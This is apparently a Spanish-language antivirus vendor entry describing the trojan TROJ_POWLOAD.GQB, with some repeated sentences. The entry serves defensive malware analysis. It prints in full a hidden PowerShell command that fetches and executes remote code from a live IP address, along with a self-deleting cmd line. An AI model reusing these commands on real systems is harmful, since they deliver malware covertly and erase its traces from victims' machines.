TROJ_POWLOAD.GQB

Después ejecuta los archivos descargados. Como resultado, en el sistema afectado se muestran las rutinas maliciosas de los archivos descargados.

Este malware se elimina tras la ejecución.

Instalación

Agrega los procesos siguientes:

• powershell.exe -nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://5.39.218.205/logo.png') - downloads a component file
• cmd.exe /c ping -n 1 -w 2000 192.168.123.254 > nul & del {malware path and filename}.exe
• rundll32 {TROJ_SWORT.VSYB - resides in memory}

Rutina de descarga

Accede a los siguientes sitios Web para descargar archivos:

• http://{BLOCKED}.{BLOCKED}.218.205/logo.png

Trend Micro detecta el archivo descargado como:

• TROJ_PLASTI.A

Después ejecuta los archivos descargados. Como resultado, en el sistema afectado se muestran las rutinas maliciosas de los archivos descargados.

Otros detalles

Este malware se elimina tras la ejecución.